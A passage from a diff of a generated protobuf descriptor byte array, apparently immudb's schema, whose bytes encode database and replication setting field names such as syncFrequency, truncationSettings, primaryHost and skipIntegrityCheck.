0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, - 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, - 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, - 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, - 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, - 0x64, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x45, - 0x0a, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, - 0x18, 0x16, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, - 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, - 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, + 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, + 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, + 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, + 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, + 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, - 0x73, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, - 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, + 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, + 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x12, 0x53, 0x0a, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, + 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, + 0x69, 0x74, 0x12, 0x43, 0x0a, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, - 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, 0x74, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, - 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x52, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, - 0x53, 0x0a, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x6d, - 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, - 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, + 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x59, 0x0a, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x1d, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x12, + 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x73, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, + 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, + 0x6c, 0x6f, 0x63, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, - 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, - 0x43, 0x0a, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x59, 0x0a, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x12, 0x74, 0x72, 0x75, - 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, - 0x43, 0x0a, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x73, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x73, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, 0x6c, 0x6f, 0x63, - 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, 0x6c, - 0x6f, 0x63, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x22, 0xc8, 0x07, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, - 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, - 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, - 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0d, 0x70, 0x72, 0x65, + 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x22, 0xc8, 0x07, 0x0a, 0x1b, 0x52, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, + 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, - 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, - 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, - 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, - 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, - 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, - 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, - 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, - 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x61, 0x6c, 0x6c, - 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x4b, - 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, - 0x68, 0x65, 0x63, 0x6b, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, - 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x12, 0x45, 0x0a, 0x0f, 0x77, - 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x18, 0x0d, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, - 0x6c, 0x52, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, - 0x6e, 0x67, 0x22, 0xc2, 0x01, 0x0a, 0x1a, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, - 0x72, 0x69, 